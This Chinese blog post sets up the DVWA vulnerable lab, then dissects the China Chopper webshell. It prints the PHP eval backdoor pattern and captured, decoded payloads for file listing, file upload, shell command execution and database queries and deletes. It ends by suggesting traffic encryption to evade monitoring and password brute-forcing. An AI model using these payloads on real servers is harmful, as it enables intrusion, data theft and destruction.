DVWA部署以及菜刀原理

DVWA

0x00 概述

在测试一些web工具时,需要某个web应用作为我们的靶机,这时候就首选以前学校里用过的系统DVWA(Damn Vulnerable Web Application)。

DVWA是一款基于php&mysql编写的用于常规WEB漏洞教学和检测的web脆弱性测试web应用。其中包含了SQL注入,盲注,文件包含,XSS,CSRF等一些常见的WEB漏洞,对于我们进行Web渗透有较强的指导教学意义。

DVWA部署以及菜刀原理_第1张图片

0x01 安装配置

我的安装环境是Ubuntu+apache2+php+mysql

先把这些工具都从可以通过apt-get下载安装。

sudo apt-get -y install apache2 mysql-server php5 php5-mysql php5-gd

随后把官网下载下来的DVWA web应用部署在用户目录中,我这里的路径是/home/crazydog/workspace/src/DVWA-1.9

随后就得开始对DVWA进行配置了。我们将DVWA配置在apache2中。

首先在apache的目录下,修改ports.conf,该文件是apache2监听的端口。于是我们仿照Listen 80在其后添加了一句话Listen 2333,说明让apache去监听2333端口,该端口随后将用于接收对DVWA的访问。

随后设置DVWA在apache中的VirtualHost虚拟主机。我们在观察apache2.conf配置文件时,会发现配置文件中包含了sites-enabled文件夹下的内容,而该文件夹下都是一些对于每个web应用使用的虚拟主机的配置,都是一些软连接,其实际文件处于sites-avaiable文件夹中。故我们将000-default.conf文件复制一份,命名为dvwa.conf,并将文件修改为:


    ServerAdmin webmaster@localhost
    DocumentRoot /home/crazydog/workspace/src/DVWA-1.9
    
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

该虚拟主机用DocumentRoot /home/crazydog/workspace/src/DVWA-1.9指明了web应用的根目录,用指明了web应用对目录/home/crazydog/workspace/src/DVWA-1.9的访问权限,此处,文应用对该目录具有全部权限。虚拟主机所处的端口为2333。

这样的设置后,我们使用命令sudo a2ensite dvwa即可启用web应用DVWA,随后sudo service apache2 reload即可载入应用。

页面为localhost:2333/setup.phplocalhost:2333/index.php

首先进入设置页面,需要对DVWA应用所需要的数据库进行创建与初始化。这时候我们是没有相关用户和数据库的。

首先进入mysql去创建数据库dvwa。

mysql -u root -p

mysql> create database dvwa;

随后创建新用户dvwa,密码123456

mysql> insert into mysql.user(Host,User,Password) values("localhost",'dvwa',password('123456'));
mysql> flush privileges;

随后修改dvwa用户针对数据库dvwa的相关权限

mysql> grant all privileges on dvwa.* to dvwa@localhost identified by '123456'
mysql> flush privileges;

接着修改dvwa目录下的config/config.inc.php

$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ]     = 'dvwa';
$_DVWA[ 'db_password' ] = '123456';

随后在setup页面点击create tables之类的按钮初始化DVWA。

PS:需要让hackable/uploads/以及./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt具有写权限。

0x02 使用

这里就是登陆了。localhost:2333/login.php可以用于登陆,登陆后如下。

DVWA部署以及菜刀原理_第2张图片

随后修改dvwa的安全级别

DVWA部署以及菜刀原理_第3张图片

一句话木马

0x03 概念

在web服务器的某个web应用根目录下创建一个网站源码脚本,即web应用是由php编写的,那么木马脚本应由php编写,该脚本文件中只有一句话的脚本,用户通过远程连接该文件,通过POST方式去提交数据,从而完成远程获得webshell的访问权限。

0x04 例子


0x05 解释

eval函数是能够将其中的参数作为命令行的命令来解释执行。
其中的_POST['skyfucker']则是将传过来的POST body里的skyfucker变量的值获取出来,相当于一句话木马客户端中登陆的密码。通过这样,我们就可以将客户端的数据传递过来并作为命令执行了。

中国菜刀

0x06 概述

中国菜刀是一款牛逼的网站管理软件,通过在web应用的目录下留下一个一句话木马,就可以利用这个菜刀客户端去连接来获取webshell了。

0x07 使用方法

先是创建连接。

DVWA部署以及菜刀原理_第4张图片

在地址里填写目标应用中一句话木马的URL,随后的空格里填写客户端登陆的密码,就是之前一句话里的skyfucker

而在config里填写的就是数据库登陆的一些参数了,如果你通过某些途径知道目标主机的数据库账号密码之类的信息,就可以顺利登陆其数据库了。

随后展示一下菜刀的能力。

文件管理

DVWA部署以及菜刀原理_第5张图片

文件上传

DVWA部署以及菜刀原理_第6张图片

远程shell

DVWA部署以及菜刀原理_第7张图片

数据库操作

DVWA部署以及菜刀原理_第8张图片

自写脚本

DVWA部署以及菜刀原理_第9张图片

0x08 原理

就让我们用wireshark抓包来理解一下菜刀的工作原理。

自写脚本执行

我们在字写脚本时,输入了print("hello world!");,点击执行。查看wireshark。可以看到发出的http请求:

从中可见:

[
    "skyfucker":"@eval/**/�($_POST[z9]/**/�($_POST[z0]));",
    "z9":"BaSE64_dEcOdE",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0\
            BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21h\
            Z2ljX3F1b3Rlc19ydW50aW1lKDApO2\
            VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gd\
            29ybGQhIik7O2VjaG8oInw8LSIpO2RpZSgpOw=="
]

这样的POST数据被一句话木马的eval解释执行之后就可以看做是eval(base64_decode($_POST[z0])),即对z0的值以base64解码后执行。那么我们看看base64解码后的值是个啥。利用base64编码是为了防止特殊字符传输失败。

解码后可见结果。

|");
    ;
    # 打印字符串
    print("hello world!");
    ;
    echo("|<-");
    die();
?>

这一段代码执行完后会把结果->hello world!<-返回给客户端。

文件管理-目录遍历

随后是文件管理的目录遍历。

从中可见

[
    "skyfucker":"@eval/**/�($_POST[z9]/**/�($_POST[z0]));",
    "z9":"BaSE64_dEcode",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3J\
            zIiwiMCIpO0BzZXRfdGltZV9saW1pdCg\
            wKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDA\
            pO2VjaG8oIi0+fCIpOzskRD1iYXNlN\
            jRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXN\
            fZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9T\
            VFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab\
            3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG\
            8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5v\
            IFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskT\
            D1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRG\
            KSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0\
            tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zd\
            WJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApL\
            DEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpb\
            GVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyK\
            CRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSR\
            OLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7\
            fTtlY2hvKCJ8PC0iKTtkaWUoKTs=",
    "z1","L2hvbWUvY3Jhenlkb2cvd29ya3\
            NwYWNlL3NyYy9EVldBLTEuOS9kb2NzLw=="
]

这样的POST数据eval解释执行后可以看做是eval(base64_decode($_POST[z0]))

z0解码后可得(其中可以通过添加@来隐藏error输出)

|");;
    # 获取z1的值,如果有空格就去除空格,得到路径
    $D=base64_decode(
        get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"]);
    # 打开该目录,获得文件描述符
    $F=@opendir($D);
    if($F==NULL){
        echo("ERROR:// Path Not Found Or No Permission!");
    }
    else{
        $M=NULL;
        $L=NULL;
        # 读取该文件描述符对应的信息-文件名
        while($N=@readdir($F)){
            # 拼接字符串形成目录下子文件的绝对路径
            $P=$D."/".$N;
            # 获取子文件的filetime
            $T=@date("Y-m-d H:i:s",@filemtime($P));
            # 返回文件目录的访问权限,这里讲10进制转8进制,并取字符串结果的后4字节
            @$E=substr(base_convert(@fileperms($P),10,8),-4);
            # 属性字符串=\tfiletime\t文件大小\t访问权限
            $R="\t".$T."\t".@filesize($P)."\t".$E." ";
            if(@is_dir($P))
                # 该子文件是目录,则返回文件名/文件属性+" "
                $M.=$N."/".$R;
            else
                # 否则返回文件名属性 
                $L.=$N.$R;
        }
        # 打印
        echo $M.$L;
        @closedir($F);
    }
    ;
    echo("|<-");
    die();
?>

z1解码后可得/home/crazydog/workspace/src/DVWA-1.9/docs/,即需要获得的目录路径

该段代码执行后会将z1中传过去的文件绝对路径作为参数,若是文件夹则打印文件名1/文件1属性 文件名2/文件2属性 文件名3/文件3属性,若是文件则打印文件名1文件1属性 文件名2/文件2属性。(这里可能有些许不准确,望大神指点)

文件管理-上传文件

这里是文件管理的文件上传。

DVWA部署以及菜刀原理_第10张图片

从中可见

[
    "&skyfucker":"@eval/**/�($_POST[z9]/**/�($_POST[z0]));",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3J\
            zIiwiMCIpO0BzZXRfdGltZV9saW1pd\
            CgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd\
            W50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYX\
            NlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7J\
            GM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWN\
            lKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKC\
            JcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA\
            7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZW\
            NvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZnd\
            yaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjE\
            iOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==",
    "z9":"BaSE64_dEcOdE",
    "z1":"L2hvbWUvY3Jhenlkb2cvd29\
            ya3NwYWNlL3NyYy9EVldBLTEuOS9oYWNr\
            YWJsZS91cGxvYWRzL2V4aWFHVU5EQU0uanBn",
    "z2":"pic"
]

这样的skyfucker可以看做是@eval(base64_encode($_POST[z0]))

让我们看看z0的encode64解码

|");;
    # 解析绝对路径名称
    $f=base64_decode($_POST["z1"]);
    # 获得图片的编码流
    $c=$_POST["z2"];
    # 去掉\r
    $c=str_replace("\r","",$c);
    # 去掉\n
    $c=str_replace("\n","",$c);
    $buf="";
    # 把编码流每两个字节前加上‘%’然后url解码
    for($i=0;$i

如此一来,我们就可以在绝对路径上上传文件了。

远程shell

所谓webshell就是通过web应用获取一个远程shell,这里就介绍这个shell是怎么来的。

以下是我们在shell中执行ls指令抓到的包。

DVWA部署以及菜刀原理_第11张图片

从中可见

[
    "skyfucker":"@eval/**/�($_POST[z9]/**/�($_POST[z0]));",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCI\
            pO0BzZXRfdGltZV9saW1pdCgwKTt\
            Ac2V0X21hZ2ljX3F1b3Rlc19ydW50\
            aW1lKDApO2VjaG8oIi0+fCIpOzskbT1n\
            ZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRw\
            PWJhc2U2NF9kZWNvZGUoJG0/c3RyaXB\
            zbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9Q\
            T1NUWyJ6MSJdKTskcz1iYXNlNjRfZGVj\
            b2RlKCRtP3N0cmlwc2xhc2hlcygkX1BP\
            U1RbInoyIl0pOiRfUE9TVFsiejIiXSk7JGQ9Z\
            GlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0Z\
            JTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwL\
            DEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ\
            7JHN9XCIiOyRyPSJ7JHB9IHskY30iO\
            0BzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCA\
            oJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2V\
            jaG8oInw8LSIpO2RpZSgpOw==",
    "z9":"BaSE64_dEcOdE",
    "z1":"L2Jpbi9zaA==",
    "z2":"Y2QgL2hvbWUvY3Jhenlkb2cvd29ya\
                3NwYWNlL3NyYy9EVldBLTEuOS87bHM7ZWNo\
                byBbU107cHdkO2VjaG8gW0Vd"
]

z1是啥?喏,/bin/sh

z2是啥,看 cd /home/crazydog/workspace/src/DVWA-1.9/;ls;echo [S];pwd;echo [E]

skyfucker依旧是那样用,我们还是来看看z0吧。

|");;
    $m=get_magic_quotes_gpc();
    # 获取z1的内容 就是执行的命令sh
    $p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]);
    # 获取z2的内容,具体要执行的命令,就是脚本
    $s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]);
    # 返回当前执行脚本的绝对路径中的目录部分
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    # 若绝对路径以'/'开头,则是-c方式(linux)执行脚本,否则是/c(win)的方式
    $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
    # 命令组合
    $r="{$p} {$c}";
    # 执行脚本然后将错误信息重定向到标准输出
    @system($r." 2>&1",$ret);
    # 返回结果
    print ($ret!=0)?"ret={$ret}":"";;
    echo("|<-");
    die();
?>

这样就可以实现远程终端了,当然其他功能也是类似的。

数据库管理

现在以在DVWA数据库里遍历user表为例,展示其原理。

DVWA部署以及菜刀原理_第12张图片

POST的表单内容里填入了以下内容

[
    "skyfucker":"@eval/**/�($_POST[z9]/**/�($_POST[z0]));",
    "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCI\
            pO0BzZXRfdGltZV9sa\
            W1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc\
            19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsk\
            bT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q\
            9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVF\
            siejEiXSk6JF9QT1NUWyJ6MSJdOyR\
            1c3I9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiej\
            IiXSk6JF9QT1NUWyJ6MiJdOyRwd2Q9JG0/
            c3RyaXBzbGFzaGVzKCRfUE9TVFsiejMiXSk6J\
            F9QT1NUWyJ6MyJdOyRkYm49JG0/\
            c3RyaXBzbGFzaGVzKCRfUE9TVFsiej\
            QiXSk6JF9QT1NUWyJ6NCJdOyRzcWw9Y\
            mFzZTY0X2RlY29kZSgkX1BPU1RbIno1I\
            l0pOyRUPUBteXNxbF9jb25uZWN0KCRoc\
            3QsJHVzciwkcHdkKTtAbXlzcWxfcXVlcn\
            koIlNFVCBOQU1FUyB1dGYtOCIpO0BteXNxbF9zZW\
            xlY3RfZGIoJGRibik7JHE9QG15c3FsX3F1ZXJ5K\
            CRzcWwpOyRpPTA7d2hpbGUoJGNvbD1AbXlzcWxfZm\
            llbGRfbmFtZSgkcSwkaSkpe2VjaG8oJGNvbC4i\
            XHR8XHQiKTskaSsrO31lY2hvKCJcclxuIik7d2hp\
            bGUoJHJzPUBteXNxbF9mZXRjaF9yb3coJHEpKXtmb\
            3IoJGM9MDskYzwkaTskYysrKXtlY2hvKHRyaW0oJHJ\
            zWyRjXSkpO2VjaG8oIlx0fFx0Iik7fWVjaG8oIlx\
            yXG4iKTt9QG15c3FsX2Nsb3NlKCRUKTs7ZWNobygif\
            DwtIik7ZGllKCk7",
    "z9":"BaSE64_dEcOdE",
    "z1":"localhost",
    "z2":"dvwa",
    "z3":"p@ssw0rd",
    "z4":"dvwa",
    "z5":"U0VMRUNUICogRlJPTSBgdXNlcnNgIE9SREVSIEJZIDEgREVTQyBMSU1JVCAwLDIw"
]

如此一来看看z1~z4都是我们在option里填写的数据库参数,如账号密码,数据库,主机等,而z5是SELECT * FROM 'users' ORDER BY 1 DESC LIMIT 0,20的sql语句。

而z0执行的指令则是:

|");;
    $m=get_magic_quotes_gpc();
    # 获取host user password databsename sql语句
    $hst=$m?stripslashes($_POST["z1"]):$_POST["z1"];
    $usr=$m?stripslashes($_POST["z2"]):$_POST["z2"];
    $pwd=$m?stripslashes($_POST["z3"]):$_POST["z3"];
    $dbn=$m?stripslashes($_POST["z4"]):$_POST["z4"];
    $sql=base64_decode($_POST["z5"]);
    # 连接数据库
    $T=@mysql_connect($hst,$usr,$pwd);
    # 设置编码
    @mysql_query("SET NAMES utf-8");
    # 选择数据库
    @mysql_select_db($dbn);
    # 执行查询
    $q=@mysql_query($sql);
    $i=0;
    # 打印表头
    while($col=@mysql_field_name($q,$i)){
        echo($col."\t|\t");
        $i++;
    }
    echo("\r\n");
    # 打印结果
    while($rs=@mysql_fetch_row($q)){
        for($c=0;$c<$i;$c++){
            echo(trim($rs[$c]));
            echo("\t|\t");
        }
        echo("\r\n");
    }
    @mysql_close($T);;
    echo("|<-");
    die();
?>

如此就简单了

假设说执行删除语句,还是在user表中。

[ "skyfucker":"@eval/**/�($_POST[z9]/**/�($_POST[z0]));", "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdOyR1c3I9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdOyRwd2Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejMiXSk6JF9QT1NUWyJ6MyJdOyRkYm49JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejQiXSk6JF9QT1NUWyJ6NCJdOyRzcWw9YmFzZTY0X2RlY29kZSgkX1BPU1RbIno1Il0pOyRUPUBteXNxbF9jb25uZWN0KCRoc3QsJHVzciwkcHdkKTtAbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyB1dGYtOCIpO0BteXNxbF9zZWxlY3RfZGIoJGRibik7JHE9QG15c3FsX3F1ZXJ5KCRzcWwpO2VjaG8oIlJlc3VsdFx0fFx0XHJcbiIpO2VjaG8oJHE/IkV4ZWN1dGUgU3VjY2Vzc2Z1bGx5ISI6bXlzcWxfZXJyb3IoKSk7ZWNobygiXHR8XHRcclxuIik7QG15c3FsX2Nsb3NlKCRUKTs7ZWNobygifDwtIik7ZGllKCk7", "z9":"BaSE64_dEcOdE", "z1":"localhost", "z2":"dvwa", "z3":"p@ssw0rd", "z4":"dvwa", "z5":"ZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgZmlyc3RfbmFtZT0nSGFjayc=" ]

z5是这样的,delete from users where first_name='Hack'

z0是这样的


|");;$m=get_magic_quotes_gpc();
    $hst=$m?stripslashes($_POST["z1"]):$_POST["z1"];
    $usr=$m?stripslashes($_POST["z2"]):$_POST["z2"];
    $pwd=$m?stripslashes($_POST["z3"]):$_POST["z3"];
    $dbn=$m?stripslashes($_POST["z4"]):$_POST["z4"];
    $sql=base64_decode($_POST["z5"]);
    $T=@mysql_connect($hst,$usr,$pwd);
    @mysql_query("SET NAMES utf-8");
    @mysql_select_db($dbn);
    $q=@mysql_query($sql);
    echo("Result\t|\t\r\n");
    echo($q?"Execute Successfully!":mysql_error());
    echo("\t|\t\r\n");
    @mysql_close($T);;echo("|<-");die();
?>

以上代码就不做注释了,基本上和前一段查询差不多。

0x09 优势劣势

优势

  1. 基本满足多项渗透后远程操作,使用简单方便
  2. 本身提供GUI,能够快速完成入侵
  3. 能够控制控制服务器执行自定义命令

劣势

  1. 闭源
  2. 程序的扩展依赖于自定义脚本功能,对php能力要求高
  3. 需要在服务器上部署一句话脚本,容易被扫描
  4. 通信未加密,不安全,容易被流量监测
  5. 连接数据库需要知道数据库账号密码,缺乏一些有效的爆破手段

建议

  1. 添加对通信的加密封包
  2. 集成一些现有的数据库密码爆破手段

你可能感兴趣的:(DVWA部署以及菜刀原理)